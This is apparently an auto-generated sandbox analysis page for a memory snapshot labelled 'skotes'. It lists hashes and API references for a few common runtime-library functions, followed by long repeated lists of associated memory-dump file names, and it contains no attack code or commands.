Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: std::bad_exception::bad_exception$Concurrency::H_prolog3_catchPolicyPolicy::_SchedulerValidValue
String ID:
API String ID: 2033596534-0
Opcode ID: 61d132bacfa709065e60cb2a77fc3983a603e436fb3233a0a5ce73c5ca7b11f3
Instruction ID: df7cdafdd94bf535ff54ea2d900e82b87c024e3af7e41afc1cd3e1a1143285a1
Opcode Fuzzy Hash: 61d132bacfa709065e60cb2a77fc3983a603e436fb3233a0a5ce73c5ca7b11f3
Instruction Fuzzy Hash: 0321B679A0120D9FDB05EFA4E492EEDB7F4EF45314B214069F011AB2E1DB316E81CB51

Function 0091A026 Relevance: 6.1, APIs: 4, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::IncrementFixedCoreCount.LIBCONCRT ref: 0091A069

Part of subcall function 0091B560: Concurrency::details::SchedulerProxy::ToggleBorrowedState.LIBCONCRT ref: 0091B5AF

Concurrency::details::HardwareAffinity::HardwareAffinity.LIBCMT ref: 0091A07F
Concurrency::details::SchedulerProxy::AddExecutionResource.LIBCONCRT ref: 0091A0CB

Part of subcall function 0091AB41: List.LIBCONCRT ref: 0091AB77

Concurrency::details::ExecutionResource::SetAsCurrent.LIBCMT ref: 0091A0DB

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Proxy::Scheduler$ExecutionHardware$AffinityAffinity::BorrowedCoreCountCurrentFixedIncrementListResourceResource::StateToggle
String ID:
API String ID: 932774601-0
Opcode ID: c1a27cd70ea31601add1e03c89ad50f209fe4d3ca9b292a011f152a8434dd13c
Instruction ID: 4050e1ae426a2b347d53756a8ff780db0687e0a9350e6c9ebeee1f7a6f44a327
Opcode Fuzzy Hash: c1a27cd70ea31601add1e03c89ad50f209fe4d3ca9b292a011f152a8434dd13c
Instruction Fuzzy Hash: 71219A316017189FCB25EF65D9909AAB3FAAF887007004A5EE442A7651CB74A941CBA2

Function 00914885 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00914893
ListArray.LIBCONCRT ref: 009148A5

Part of subcall function 00915555: _InternalDeleteHelper.LIBCONCRT ref: 00915564

ListArray.LIBCONCRT ref: 009148AF
_InternalDeleteHelper.LIBCONCRT ref: 009148C8

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: e356f107f38c6be44e9b29834daa105bd8ed9cb806a8f0971c098c2cbf6ce928
Instruction ID: 9199c8074550a18c09dd4748995207ef6c294315843593f4ae321557c6253d96
Opcode Fuzzy Hash: e356f107f38c6be44e9b29834daa105bd8ed9cb806a8f0971c098c2cbf6ce928
Instruction Fuzzy Hash: 0201DB71701519AFDA157B54C882FEEB76EBFC87107010165F40497652DF20FC9187D0

Function 0091EE5C Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 0091EE6A
ListArray.LIBCONCRT ref: 0091EE7C

Part of subcall function 0091EF29: _InternalDeleteHelper.LIBCONCRT ref: 0091EF3B

ListArray.LIBCONCRT ref: 0091EE86
_InternalDeleteHelper.LIBCONCRT ref: 0091EE9F

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: ff3a82e6a5b41171e08453d91366bd511c4d2fdd16082cec667ed9fea5d0c7a1
Instruction ID: fe8fbecd1ba6a822b5e031c42d9ef059c56f45b6ada66d627cf1ed4293cf18a7
Opcode Fuzzy Hash: ff3a82e6a5b41171e08453d91366bd511c4d2fdd16082cec667ed9fea5d0c7a1
Instruction Fuzzy Hash: 7A01A231301625AFDA25AB61C882FBEBB69BFC47107040029FC0557652CB20FC9286D0

Function 0091D0B7 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 0091D0C5
ListArray.LIBCONCRT ref: 0091D0D7

Part of subcall function 0091C6B2: _InternalDeleteHelper.LIBCONCRT ref: 0091C6C4

ListArray.LIBCONCRT ref: 0091D0E1
_InternalDeleteHelper.LIBCONCRT ref: 0091D0FA

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
